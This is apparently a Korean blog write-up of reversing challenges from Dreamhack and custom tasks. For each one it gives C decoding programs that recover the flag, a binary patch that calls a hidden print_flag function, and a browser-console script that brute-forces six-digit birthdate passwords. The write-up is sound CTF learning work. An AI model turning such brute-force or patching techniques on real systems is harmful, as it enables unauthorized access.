뭔가 복잡해보이지만 하나씩 풀어보면 과제를 하면서 한 번쯤 해봤던 암호화들이 여러 개가 엮여서 이루어진 것이였다.

하나씩 확인해보면 XOR 연산을 통해 입력받은 문자열을 바이트마다 다른 키로 암호화를 시도한다. 그 후, 1차 암호화 된 값을 복잡한 형태로 덧셈 연산하는데 이를 피보나치 수열을 변형하여 암호화 한 것이라고 한다. 다음으로 이제는 너무나도 익숙한 비트 회전 ROL을 실행한다. 마지막으로 한 번 더 XOR 연산을 실시 한 후 최종적으로 비교를 하여 일치하면 참을 출력한다. XOR 연산은 결과에 다시 XOR 연산을 가하면 원래 값이되는 것을 이용한다. 비트 회전은 다시 반대로 회전시키면 쉽게 원래 값을 찾을 수 있다. 복잡한 덧셈 연산 암호화는 덧셈이기 때문에 이항해서 하나씩 풀면 풀린다.

아무리봐도 과제식 시간 끌기 문제였던 것 같다. 패치나 gdb 실행을 시키지 않고 순수히 역연산 코드를 일일이 짰다.. unk_402040 안에 키값이 들어있지만, 너무 길어서 적기를 포기했다.. 144바이트 ....

#include <stdio.h>

unsigned char enc[144] = {
    0xE8,0x04,0x56,0x9D,0x40,0x31,0xDD,0x99,0xD6,0xAC,0x77,0x4B,0xAD,0xE5,0xFB,0xEA,
    0xDC,0x9C,0xF7,0xF4,0x55,0xC4,0xD8,0x44,0x23,0x04,0xAB,0x74,0xA6,0x9C,0xCE,0x32,
    0x60,0xF0,0x03,0x6F,0x65,0xD6,0xC9,0x91,0xDE,0x42,0xEC,0x71,0xA3,0xC5,0xA8,0x86,
    0x66,0x69,0x56,0xCE,0x77,0x5F,0xB0,0x25,0x05,0x71,0xD9,0x35,0x97,0xEF,0x90,0x71,
    0x88,0x12,0xCA,0x8A,0x92,0x64,0x40,0x88,0x5E,0xD3,0x79,0x82,0xC2,0x02,0x18,0xEB,
    0x10,0x75,0xDC,0x27,0x66,0xDC,0x7A,0x39,0x42,0x4B,0x32,0x78,0x9E,0x2A,0x46,0xDD,
    0x94,0x0D,0xE6,0x8D,0x21,0xC6,0x9E,0x67,0x67,0x80,0xB5,0x22,0xEE,0xB4,0xE6,0x76,
    0xC1,0x95,0x07,0x69,0x92,0x59,0x1B,0x33,0x83,0xD0,0xDD,0x1C,0xDE,0x4E,0x50,0x43,
    0x52,0xA5,0x84,0x8B,0x8E,0x41,0x18,0x25,0x63,0x9A,0x78,0x10,0x8C,0xA8,0x60,0xAB
};

unsigned char ror(unsigned char val, unsigned char r_bits) {
    return (val >> r_bits) | (val << (8 - r_bits));
}

void decrypt(unsigned char *flag) {
    unsigned char v21 = 0;

    for (int i = 0; i < 144; i++) {
        unsigned char tmp = flag[i];
        tmp ^= 0xAA;
        flag[i] = tmp ^ v21;
        v21 = (v21 + 3) & 0xFF;
    }

    for (int i = 0; i < 144; i++) {
        flag[i] = ror(flag[i], (i % 7) + 1);
    }

    unsigned char v17 = 55;
    unsigned char v18 = 19;

    for (int i = 0; i < 144; i++) {
        flag[i] = (flag[i] - v18) & 0xFF;
        unsigned char tmp = v17;
        v17 = (v17 + v18) & 0xFF;
        v18 = tmp;
    }

    unsigned char v14 = 0;
    for (int i = 0; i < 144; i++) {
        flag[i] ^= (v14 ^ 0x42);
        v14 = (v14 + 23) & 0xFF;
    }
}

int main() {
    unsigned char flag[144];

    for (int i = 0; i < 144; i++) {
        flag[i] = enc[i];
    }

    decrypt(flag);

    for (int i = 0; i < 144; i++) {
            printf("%c", flag[i]);
    }

    return 0;
}

ROL 비트회전을 복호화를 위한 ROR을 함수로 선언해준 후, main 함수에는 최종 결과값만 출력하도록 구현하였다. 나머지 복호화는 전부 decrypt 함수에서 실시한다.

해당 코드를 실행 시키면 플래그가 출력된다.

Custom 1

문제 파일을 다운로드 받고 IDA로 컴파일하였다. 다음의 코드의 상단부터 천천히 확인해보면 vars0이라는 80길이의 문자열을 선언하고 s라는 문자열에 값을 입력받는 것으로 추정해볼 수 있다. v4에다가는 정수 25를 대입한다. 반복문에서는 vars0의 값에 키 값인 enc1_0을 이용해 암호화한 코드를 대입하는 것을 알 수 있다. 그 후, 입력받은 s의 값과 암호화된 vars0의 값을 비교하여 일치 할 경우 "Correct!"가 출력된다.

먼저 fgets를 이용하여 값을 입력받고 암호화하여 key값과 비교하는 것이 아닌 key값을 암호화 해제하여 입력받은 값과 비교하여 "correct!"를 출력하는 것이기 때문에 위 코드에 vars0에 저장하는 과정이 바로 flag 값을 만드는 과정인것이다.

따라서 vars0에 대입하는 코드 부분을 그대로 따라쓰면 우리는 enc1_0 배열의 값들을 모두 알고 있기 때문에 flag를 구할 수 있다.

#include <stdio.h>

int main() {
    int v3;
    int v6;
    int v7;
    int v8; 
    char vars0[80];
    unsigned enc1_0[64] = {
        0x19, 9,    0x4E, 0xB7, 0xD3, 0x83, 8,    0x6D, 0x9A, 0x89, 0x8C,
        0x33, 0xE,  0x92, 0xCD, 0xA2, 0xD2, 0x20, 0x8C, 0x8B, 0x96,
        0x95, 0x56, 0xA7, 0x8A, 0xB2, 0xC7, 0x0F, 0xAA, 0x8E, 0x82,
        0xEC, 0x26, 0x4A, 0xBE, 0xAB, 0x96, 5,    0x74, 0xBA, 0xCF,
        0xB8, 0x33, 0x78, 0x80, 0xBE, 0x91, 0x2C, 0x17, 0xC8, 0x60,
        0x86, 0x43, 0x28, 0x33, 0x6F, 0xAE, 0xC2, 0x7A, 0x68, 0x2A,
        0xB9, 0xA4, 0x2B
    };

    int v4 = 25;
    v3 = 0;

    for (int i = 0; v4 = enc1_0[i]; i++) {
        v6 = v3;
        v3 = (unsigned int)(v3 + 51);
        v7 = v4 ^ ((v6 ^ 0x55u) + 2 * i);
        vars0[i] = v7;

        if ( i == 64 ) 
            break;
    }

    vars0[64] = 0;

    for (int i = 0; i < 64; i++) {
        printf("%c", vars0[i]);
    }
}

Custom 2

문제 파일을 다운받아 컴파일 해보면 이러한 main함수를 알 수 있다. 입력받은 문자열 s를 인자로 가지는 validate_input 함수를 확인해보면 "this is not the way" 라는 문구가 있는걸 보니 이 함수는 가짜인 것 같다. 전체적으로 둘러보기 앞서 먼저 함수 목록을 살펴보았다. print_flag라는 함수가 너무 수상해보여서 일단 먼저 확인해보았다. 누가봐도 진짜같아 보이는 암호화 함수를 발견했다. 다른 것도 둘러보았지만 이 함수만큼 확실해보이는 것은 없었다. 해당 코드를 분석해보면 여러가지 함수를 호출하여 암호화를 실행하고 최종적으로 완료된 문장을 puts를 통해 출력하는 코드였다. inv_p(n) 역시 가짜함수가 아니였다. 모든 코드에 대한 풀이 소스를 짜는 것은 무리가 있어보였기에 동적분석을 하기로 선택했다.

다시 처음부터 생각해보면 이 코드는 main함수에서 validate_input 함수를 이용하여 가짜 검사를 진행한다.

이때 생각을 뒤집어서 해보면 가짜 검사를 하는 validate_input 함수 대신 print_flag 함수를 호출하면 flag 값을 알아낼 수 있을 것이라고 생각했다. 생각을 토대로 바로 실행해주었다. 잘 바뀐 것을 확인하고 난 후, gdb를 가서 해당 파일을 실행시켜주었다. Enter password는 validate_input 함수의 인자를 입력받는 함수였으므로, 이제는 사실상 의미가 없는 함수니 무시하고 아무거나 입력해줬다.

정상적으로 print_flag 함수가 작동하며 플래그 값을 얻었다.

Dreamhack Reversing

Dreamhack Wargame

legacyopt

문제 파일은 legacyopt와 output 두 개가 주어진다. output은 Base64로 암호화된 플래그로 추정되는 문자열이 담겨있다. legacyopt를 IDA로 디컴파일 해보았다. 문자열을 입력받아 s에 저장하고 ptr과 함께 sub_1209에 인자로 보낸 후, 2자리 Hex값으로 ptr을 출력한다. sub_1209를 분석하여 이 프로그램이 무엇을 하는 프로그램인지 분석해보았다. a3의 길이를 8로 나눈 나머지에 따라 switch문을 거치는 것을 그대로 구현하면 될 것 같다. 각 label이 모두 특정한 값과 XOR을 하는 모두 똑같은 구조를 가지고 있다. 따라서 이 코드는 s[i]에 어떤 값을 xor해서 ptr에 저장한다.

output은 결과이기에 2자리 Hex값 일 것이다.

그렇기에 output을 ptr에 넣고 다시 XOR 해주면 flag를 얻을 수 있을 것이다. 하지만 이 프로그램에서는 아까 말했듯, 출력을 2자리 Hex값으로 하기 때문에 따로 label의 XOR key값과 output의 문자열만 가지고 익스플로잇 코드를 작성 할 수 있었다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    const char *out_put = "220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e";
    unsigned char key[8] = {0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33, 0x88};
    size_t len = strlen(out_put) / 2;
    unsigned char *flag = malloc(len);

    for (size_t i = 0; i < len; i++) {
        sscanf(&out_put[i * 2], "%2hhx", &flag[i]);
    }

    for (size_t i = 0; i < len; i++) {
        printf("%c", flag[i] ^ key[i % 8]);
    }

    putchar('\n');

    free(flag);
    return 0;
}

Recover

파일을 다운로드 받아보면 두 개의 파일이 존재한다. 그 중 소스 코드가 들어있는 파일은 chall이라는 파일이였다. 밑에 encrypted 파일은 무언가 암호화된 파일로 예상됬다. 이 소스를 분석해보면 읽기모드로 실행한 flag.png를 stream 에 저장한다. stream 에서 1byte를 읽어서 ptr 에 저장하고, 4byte의 v6를 순환하여 XOR 연산을 수행한다. XOR의 키 값은 v6이기 때문에 unk_2004에 들어있었다. 이 값에 19를 더하여 암호화하여 ptr 에 덧붙이고 쓰기모드로 실행한 encrypted 파일로 저장하는 방식이다. 디컴파일 코드의 복잡함에 비해 복호화 코드는 연산 부분만 역연산으로 수정 하면 되기에 쉽게 구연할 수 있었다.

#include <stdio.h>
#include <stdlib.h>

int main() {
    char ptr;
    int v5 = 0;
    unsigned char v6[4] = {0xDE, 0xAD, 0xBE, 0xEF};
    FILE *encrypted_file = fopen("encrypted", "rb");
    FILE *decrypted_file = fopen("decrypted.png", "wb");

    if (!encrypted_file) {
        puts("fopen() error for encrypted file");
        exit(1);
    }

    if (!decrypted_file) {
        puts("fopen() error for decrypted file");
        fclose(encrypted_file);
        exit(1);
    }

    while (fread(&ptr, 1, 1, encrypted_file) == 1) {
    ptr -= 0x13;
    ptr ^= v6[v5++ % 4];
    fwrite(&ptr, 1, 1, decrypted_file);
}

    fclose(encrypted_file);
    fclose(decrypted_file);
    return 0;
}

vsc로 실행하니 다음과 같은 png 파일이 생성되며 flag를 알 수 있었다.

개인적으로 fwrite 등의 파일을 여는 코드를 다뤄본 것이 오랜만이라서 복호화 코드만을 작성하면 된다는 것을 간과한 채, 뻘짓을 하여 시간을 다 날렸다 ...

Custom 2

문제 파일을 디컴파일 해보면 코드가 함수하나 없이 깔끔한 편이여서 간단하게 풀 수 있었다. 먼저 중요한 변수들은 살펴보면, v4 라는 정수형 변수에 76을 대입하고 vars0 이라는 80 크기의 문자열을 선언한다. v3라는 변수는 추후 반복문에서 i 처럼 사용되는 것 같다. s 라는 264 크기의 문자열을 선언하는데 이 변수는 추후에 문자열을 받기 위한 변수이기 때문에 신경쓰지 않겠다. 가장 중요한 key 변수 enc2_0 을 살펴보겠다. enc2_0 은 64 크기로 지정된 배열이다. 이 코드에서 암호화를 진행할 때 이 배열을 토대로 진행한다.

변수를 확인했으니 암호화를 진행하는 부분을 확인해보면 쉽게 설명해보면 vars0[i]에 v4 - i * i 를 대입하고, v4를 enc2_0[i]로 값을 변환 시킨다.

플래그는 enc2_0 배열을 그대로 가져와 해당 암호화 코드를 시키면 찾아낼 수 있다.

#include <stdio.h>
>
int main() {
    int v3 = 0;
    int v4 = 76;
    char vars0[80];
    unsigned enc2_0[64] = {
        0x4C, 0x62, 0x7D, 0x6E, 0x82, 0x50, 0x9F, 0x87, 0x72, 0xBD, 0xD9,
        0xD3, 0xD7, 0xE2, 0xF7, 0x2A, 0x48, 0x6F, 0xB0, 0xC2, 0xE8,
        0x0B, 0x5E, 0x5A, 0x87, 0xB7, 0x1E, 0x22, 0x58, 0x9B, 0xF3,
        0x1B, 0x53, 0x83, 0xFB, 0x2B, 0x57, 0x9F, 0x19, 0x4B, 0x93, 0xD3,
        0x5E, 0x9D, 0xD7, 0x2F, 0xBD, 0x05, 0x48, 0xAE, 0x2B, 0x8B, 0xD7,
        0x4F, 0xCC, 0x35, 0xAD, 0x1D, 0x99, 0xE3, 0x87, 0xC6, 0x41,
        0xFE
    };
>
    unsigned char * byte = (unsigned char *) vars0;
>
    while ( 1 ) {
        byte[v3] = v4 - v3 * v3;
        if ( ++v3 == 64 )
            break;
        v4 = enc2_0[v3];
    }
>   
    byte[64] = 0;
>
    for (int i = 0; i < 64; i++) {
        printf("%c", byte[i]);
    }
}

Custom 3

문제 파일을 디컴파일 해보면 변수 s에 최대 152 크기에 문자열을 입력받는다. 그리고 이 값들이 s1에 저장된다.

코드를 계속 읽어보면 funcs_1E5B라는 함수 배열이 존재하는데 (입력받은 문자열의 길이 % 11) 번째 함수를 실행한다. 모든 함수는 구성이 비슷하다. 이렇게 생긴 구조에서 반복적으로 함수를 호출한다. 이 중 sub_1397 이라는 함수에 들어가게 되면 두 개의 함수가 뜨는데 그 곳에서 sub_12C6에 들어가면 키 값으로 XOR 연산을 하는 것을 발견할 수 있다. 키 값인 byte_2010에 저장된 값들을 확인해보면 이 값들을 s에 값에 115자리까지만 XOR 해주면 플래그가 출력될 것이다.

#include <stdio.h>
>
int main() {
    unsigned char byte_2010[16] = {
        0x10, 0x1F, 0x2E, 0x3D, 0x4C, 0x5B, 0x6A, 0x79,
        0x88, 0x97, 0xA6, 0xB5, 0xC4, 0xD3, 0xE2, 0xF1
    };
>
    unsigned char s1[116] = {
        0x5C, 0x7E, 0x57, 0x58, 0x3E, 0x6C, 0x11, 0x2F,
        0xCF, 0xFF, 0xD6, 0xD6, 0xBD, 0x91, 0x96, 0xA8,
        0x48, 0x74, 0x49, 0x64, 0x21, 0x0E, 0x0D, 0x1D,
        0xCF, 0xFF, 0xCA, 0xFC, 0x83, 0xE6, 0x92, 0xAB,
        0x22, 0x77, 0x1E, 0x74, 0x04, 0x09, 0x05, 0x20,
        0xD0, 0xC6, 0xC1, 0xD7, 0x9C, 0xB8, 0x85, 0xAB,
        0x58, 0x55, 0x42, 0x64, 0x1B, 0x6A, 0x10, 0x30,
        0xCF, 0xA6, 0xD6, 0xEF, 0xF6, 0xBB, 0xD2, 0xB8,
        0x57, 0x67, 0x42, 0x59, 0x0F, 0x19, 0x1E, 0x23,
        0xDB, 0xD5, 0xD4, 0xD7, 0xA9, 0xEA, 0xD1, 0xB2,
        0x7B, 0x59, 0x5D, 0x5F, 0x0F, 0x19, 0x5A, 0x18,
        0xCF, 0xC2, 0xC1, 0xD6, 0xF7, 0x81, 0x8A, 0x92,
        0x7E, 0x52, 0x49, 0x64, 0x14, 0x19, 0x1D, 0x1A,
        0xE5, 0xAE, 0xCE, 0xEC, 0xF6, 0xB4, 0x85, 0x94,
        0x47, 0x26, 0x1F, 0x40
    };
>
    for (int i = 0; i < 116; i++) {
        s1[i] ^= byte_2010[i % 16];
    }
>
    for (int i = 0; i < 116; i++) {
        printf("%c", s1[i]);
    }
>
    return 0;
}

Custom 1

문제 파일을 다운받고, 디컴파일 해보면 .. 31번째줄에 check1 이라는 함수가 있다. 해당 함수에서 '참'이 반환되는 입력값이 플래그일 것이기 때문에, 이 함수를 분석해보겠다. 변수 v5에 할당되는 배열을 알아내기 위해 해당 주소값을 찾아가보았다. 그 결과 다음과 같은 배열을 얻게 되었다.

char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xBA, 0x0A, 0xE5, 0x3B, 0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49,
        0x8D, 0x73, 0x01, 0xCD, 0xF2, 0xCF, 0xAB, 0xB0, 0xBE, 0x12, 0x43, 0xD8, 0x55, 0xBD, 0xBB, 0x0E,
        0xC1, 0x18, 0xCF, 0x5A, 0xD0, 0x60, 0xB7, 0xF3, 0xE9, 0xB6, 0x4D, 0xD7, 0x14, 0x0B, 0x0A, 0x0F,
        0xC1, 0x05, 0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E, 0xF9, 0xBF, 0x55, 0x21,
        0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77, 0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };

해당 배열을 방금 check1 함수에서 문자열을 검사하는 역할을 하는 조건문에 역연산하면 된다.

if ( *(_BYTE *)(a1 + v2) - ((v1 ^ 0xA6) + 4 * (_BYTE)v2) != v3 )
>
| a1    | 검사 대상 문자열의 주소              
| v1    | 반복마다 `+93`씩 증가
| v2    | 0부터 79까지 반복 증가                                                
| v5[5] | 80바이트 16진수 배열

이 조건문을 이해하기 쉽도록 C언어 기반으로 다시 작성해보았다.

if (a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3))

이제 해당 식을 이용하여 플래그를 출력하기 위한 역연산 코드를 구상해보겠다.

I    |     a1[i] - ((v1 ^ 0xA6) + 4 * v2 != v3)
II     |    a1[v2] = v3 + ((v1 ^ 0xA6) + 4 * v2)

해당 역연산식을 이용하여 플래그를 출력하는 프로그램을 작성해보았다.

#include <stdio.h>
>
int main()
{
    char v5[80] = {
        0xA6, 0x62, 0x55, 0xA8, 0x90, 0xAC, 0xDB, 0x0A, 0xE5, 0x3B,
        0x07, 0xDD, 0x09, 0x03, 0x8B, 0x49, 0x8D, 0x73, 0x01, 0xCD,
        0x26, 0xFF, 0xBC, 0x0A, 0xEB, 0x2B, 0x31, 0x84, 0x5D, 0xD5,
        0xBB, 0xE8, 0xC1, 0x8D, 0xF1, 0xAC, 0x05, 0x0D, 0x76, 0x3B,
        0x9F, 0x6E, 0xDB, 0x74, 0x4D, 0xB1, 0xA0, 0xF0, 0xC1, 0x05,
        0x13, 0x77, 0x45, 0x7A, 0x20, 0x28, 0x79, 0x80, 0xCB, 0x9E,
        0xF9, 0xBF, 0x55, 0x21, 0x4D, 0x17, 0x11, 0x5D, 0x21, 0x77,
        0x8F, 0xD1, 0xAA, 0x02, 0xE2, 0x7E, 0xFD, 0xAA, 0x15, 0x2C
    };
>
    int a = 0;
>
    for (int i = 0; i < 80; i++) {
        v5[i] = v5[i] + ((a ^ 0xA6) + 4 * i);
        a += 93;
    }
>
    for (int i = 0; i < 80; i++) {
        printf("%c", v5[i]);
    }
>
    putchar('\n'); // 줄바꿈 추가 (선택 사항)
    return 0;
}

그 결과 정상적인 플래그가 출력되었다.

Custom 2

문제 파일을 다운받고, 디컴파일 해보면 .. 74번째줄에 check2 이라는 함수가 있다. 요번에도 마찬가지로 해당 함수를 분석해보겠다. 저번에 이어서 다시 한 번 함수 rol이 나왔다. rol은 왼쪽으로 비트를 회전시키는 함수이다.

ror (오른쪽으로 비트 회전)    |    오른쪽으로 밀린 비트는 왼쪽 끝으로 돌아옴
rol (왼쪽으로 비트 회전)        |    왼쪽으로 밀린 비트는 오른쪽 끝으로 돌아옴

함수 rol은 ((3 * i) ^ a1[i])와 (i % 7 + 1)을 연산한 후 반환한다. 그 후 v3 + i 와 일치하는지 검사한다.

이 식을 역연산하기 위해 ror을 사용하여 회전시킨 비트 수 만큼 다시 복호화하는 코드를 구상해보았다.

#include <stdio.h>
>
unsigned ror(unsigned char a1, int a2) {
    return (a1 >> a2) | (a1 << (8 - a2));
}
>
int main() {
    unsigned long long v3[21] = {
        v3[0] = 0x8EB40ECFC6FB8998LL,
        v3[1] = 0x21BCB25368270A01LL,
        v3[2] = 0x39C4F2B5D689171BLL,
        v3[3] = 0x93194406854821B0LL,
        v3[4] = 0x87E1D8EC10954864LL,
        v3[5] = 0xFB5C6BB58B321FCFLL,
        v3[6] = 0xFF243BEAEFC7C9EBLL,
        v3[7] = 0xCF657E5B3DF6A7F7LL,
        v3[8] = 0x1A6B4F25151AB41ELL,
        v3[9] = 0xA51A5B452E37A804LL,
        v3[10] = 0xF5BBE6775823F07ALL,
        v3[11] = 0xCF967B98E6BB5269LL,
        v3[12] = 0x58AA852A2DACB056LL,
        v3[13] = 0x164B41C02935DAB7LL,
        v3[14] = 0xEAB47A4B333990ELL,
        v3[15] = 0x7C1E27C74602F16DLL,
        v3[16] = 0xBFFBCFE57B3C8E46LL,
        v3[17] = 0x4F0697EF797E9D1FLL,
        v3[18] = 0x91EA4F3AB5E8E1FCLL,
        v3[19] = 0xE15D189C62F77DE3LL,
        v3[20] = 0x44F1B74B444E535CLL
>
    };
>
    unsigned char * byte = (unsigned char *) v3;
>
    for (int i = 0; i < 168; i++) {
        printf("%c", ror(byte[i], i % 7 + 1) ^ (3 * i));
    }
>
    return 0;
}

함수 ror을 선언한 후, 변수 v3의 값들을 byte 단위로 나누어준다. 그 후 역연산하여 출력하는 코드이다.

실행시키면 플래그가 나온다.

Custom 3

문제 파일을 다운받고, 디컴파일 해보면 .. 31번째줄에 check3 이라는 함수가 있다. 해당 함수를 분석해보겠다. 입력 값 a1[v3]은 unsigned char로 처리되며, 그 값을 sbox[]에 인덱스로 넣어 나온 값이 v2와 같아야한다. perm[] 배열은 어떤 순서로 a1의 값을 검사할 것 인지를 지정한다. enc3[] 배열은 sbox[a1[perm[i]]]과 일치해야하는 값이다.

변수에 들어있는 값들이 너무 많으므로 따로 더 생각하지 않고, 바로 역연산하는 코드를 작성하였다.

#include <stdio.h>
>
unsigned char sbox[] = {
    0xE8, 0x76, 0xDC, 0x0F, 0xCC, 0x4A, 0xF0, 0x16, 0x78, 0x42,
    0x4D, 0xAD, 0x5B, 0x9F, 0x2E, 0xBD, 0x96, 0xAB, 0x8E, 0xAF,
    0x13, 0x68, 0x9E, 0xD6, 0xB1, 0x72, 0xB0, 0x58, 0x2F, 0x31,
    0xC6, 0x47, 0x21, 0x5D, 0x9C, 0x26, 0x22, 0x25, 0xB2, 0xFA,
    0x30, 0x92, 0x90, 0xF5, 0xBC, 0x48, 0x2C, 0xE6, 0x12, 0xE4,
    0x6B, 0x35, 0xDE, 0xA1, 0xFD, 0x03, 0x19, 0x5E, 0x51, 0x85,
    0x46, 0x1A, 0x0A, 0x71, 0x0B, 0x01, 0x59, 0xEC, 0xF6, 0xCE,
    0x7B, 0x9A, 0xC5, 0xDD, 0x6A, 0xF7, 0xCF, 0xC3, 0x94, 0xD1,
    0x8B, 0x0D, 0x2B, 0xCB, 0x7A, 0x60, 0xA6, 0x53, 0xDF, 0x06,
    0x3B, 0x63, 0xEB, 0xB6, 0x37, 0x54, 0xD0, 0xDB, 0x18, 0x34,
    0x67, 0x64, 0x1F, 0x3C, 0x69, 0x49, 0xA2, 0x83, 0x45, 0xB4,
    0x3E, 0x55, 0xFB, 0x86, 0x41, 0xA5, 0x93, 0x6E, 0xC2, 0x9D,
    0x08, 0xC7, 0x07, 0xF9, 0x5A, 0x09, 0xA8, 0xE1, 0x3A, 0x05,
    0x56, 0xD2, 0x39, 0xED, 0x1E, 0x73, 0x84, 0x70, 0xAC, 0xE3,
    0x4F, 0x33, 0xAA, 0xF8, 0xD4, 0xA9, 0xB9, 0x2A, 0x8C, 0x79,
    0x97, 0x20, 0x88, 0x11, 0x7C, 0x15, 0x14, 0xFC, 0xB3, 0x0E,
    0x3D, 0x4E, 0xF4, 0xC4, 0x04, 0x7D, 0x52, 0x99, 0xBB, 0xCD,
    0x8A, 0x29, 0x5F, 0xD9, 0x32, 0x9B, 0xB5, 0xA3, 0x4C, 0xD8,
    0x1B, 0x81, 0x2D, 0x80, 0xFE, 0xBA, 0xC8, 0x00, 0x74, 0xD7,
    0x6F, 0x4B, 0xDA, 0x57, 0xF2, 0x44, 0xC0, 0xF3, 0xC9, 0x1D,
    0xB8, 0xD5, 0x02, 0x8D, 0x40, 0x87, 0x77, 0xD3, 0x61, 0x62,
    0x10, 0x98, 0xFF, 0xAE, 0xCA, 0x28, 0xA0, 0x27, 0x1C, 0x0C,
    0xC1, 0x17, 0x7E, 0x82, 0xEE, 0x38, 0x5C, 0x66, 0xE7, 0xE5,
    0x6D, 0x95, 0xBF, 0xEF, 0x89, 0x8F, 0xBE, 0x3F, 0x23, 0x43,
    0x24, 0x75, 0xA4, 0xEA, 0xE2, 0x65, 0x7F, 0xA7, 0x36, 0x50,
    0xB7, 0xE0, 0x91, 0xF1, 0xE9, 0x6C
};
>
unsigned char perm[] = {
    0x2A, 0x29, 0x5B, 0x09, 0x41, 0x32, 0x01, 0x46,
    0x0F, 0x4E, 0x49, 0x0A, 0x37, 0x38, 0x48, 0x2D,
    0x30, 0x5C, 0x4C, 0x25, 0x1E, 0x15, 0x20, 0x60,
    0x50, 0x31, 0x53, 0x1A, 0x57, 0x21, 0x08, 0x2F,
    0x3B, 0x3F, 0x4A, 0x2C, 0x62, 0x34, 0x55, 0x0C,
    0x24, 0x17, 0x27, 0x28, 0x12, 0x42, 0x3D, 0x3C,
    0x07, 0x22, 0x63, 0x2E, 0x02, 0x33, 0x10, 0x26,
    0x3A, 0x44, 0x16, 0x3E, 0x18, 0x05, 0x06, 0x43,
    0x52, 0x13, 0x4F, 0x2B, 0x5A, 0x14, 0x00, 0x5F,
    0x39, 0x5D, 0x35, 0x59, 0x19, 0x47, 0x54, 0x4D,
    0x40, 0x1D, 0x1B, 0x58, 0x61, 0x04, 0x36, 0x4B,
    0x0B, 0x45, 0x56, 0x0D, 0x11, 0x1C, 0x1F, 0x23,
    0x5E, 0x03, 0x0E, 0x51
};
>
unsigned char encr[] = {
    0x83, 0x67, 0x34, 0x06, 0x94, 0x3C, 0xDB, 0x83, 0x34, 0x3C, 0xE4,
    0x3C, 0x34, 0x49, 0x9A, 0x2B, 0x6B, 0x9A, 0x6B, 0x9D, 0x3C, 0x6A,
    0x53, 0x0D, 0x6B, 0x60, 0xDD, 0x35, 0x18, 0x45, 0x53, 0xDB, 0x34,
    0x18, 0x69, 0xC5, 0x1A, 0x53, 0xE4, 0x9A, 0xCB, 0x3B, 0xCB, 0xCB,
    0x35, 0x07, 0xA6, 0xB4, 0xCB, 0x6E, 0x09, 0x69, 0xC7, 0x64, 0xC7,
    0x3C, 0x83, 0x53, 0xA5, 0x69, 0xEC, 0x03, 0xF9, 0x06, 0x93, 0x18,
    0x6A, 0xDD, 0xFB, 0x35, 0xCF, 0xF6, 0x59, 0x08, 0x5E, 0x2B, 0x59,
    0xDD, 0x9A, 0x60, 0xDF, 0xC3, 0x06, 0xC5, 0x55, 0x41, 0xE4, 0xDB,
    0x67, 0xA1, 0xE4, 0x69, 0x59, 0xDF, 0x18, 0x3B, 0xA1, 0x64, 0xFB,
    0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00
};
>
int main() {
    char answer[100] = {0};
>
    for (int i = 0; i < 100; i++) {
        unsigned char char_1 = encr[i];
        int char_2 = perm[i];                
>
        for (int j = 0; j < 256; j++) {
            if (sbox[j] == char_1) {
                answer[char_2] = j;
                break;
            }
        }
    }
>
    answer[100] = 0;
>   
    printf("%s\n", answer);
    return 0;
}

answer은 정답 문자열을 저장하기 위한 문자열 변수다.

for문을 통해 i의 값을 상승시키며 char_1과 char_2의 값을 계속 업데이트 해준다. sbox[i]의 값이 char_1. 즉, encr[i] 값과 동일할 경우 answer에 char2. 즉, answer에 인덱스 perm[i]에 i를 저장한다. 마지막에 Null 문자를 삽입하는 것을 잊지말자.

다음 프로그램을 실행하여 플래그 값을 얻을 수 있다.

Dreamhack

please, please, please

문제 파일을 다운받고, 디컴파일 해보면 .. 플래그를 찾아달라는 말 밖에 없다 .. 그래서 Shift + F12 단축키를 사용하여 문자열 변수를 확인해보았다. 그 결과 다음과 같은 플래그 값을 찾을 수 있었다.

Secure Mail

이것을 보고 알 수 있는 것이 어떠한 비밀번호가 6자리이며 알맞은 비밀번호를 입력했을 때, 플래그를 알아낼 수 있다는 것을 추측해 볼 수 있다. 여기다가 비밀번호를 입력하면 되는 것 같다. F12 관리자 창을 이용해 Source 탭에서 JS 소스를 분석해보자.

function _0x9a220(..., ...)
return alert('Wrong')

함수 _0x9a220가 작동한다는 것과 잘못된 값이 입력되었을 때, 'Wrong'이라는 알람이 뜨는 것 외에는 난독화 때문에 알 수 있는 정보가 별로 없는것 같다.

따라서 이 문제는 무작정 모든 생년월일을 입력해보는 무차별 대입 공격(brute-force)을 이용해서 해결해야하는 것 같다.

Console 탭에서 생일을 무작정 대입해보는 소스를 작성해보았다.

window.alert = function (val) {
  console.log("fail");
  return 1;
};
>
function tryInput(val) {
  const format = /^([0-9]{2}(0[1-9]|1[0-2])(0[1-9]|[1-2][0-9]|3[0-1]))$/;
  if (format.test(val)) {
    _0x9a220(val);
  }
}
>
for (let i = 500000; i <= 991231; i++) {
  tryInput(i);
}

이 코드를 실행시켜놓고 잠시 딴 짓을 하다오니 페이지가 넘어가져 있었고, 플래그를 알아낼 수 있었다.

fake

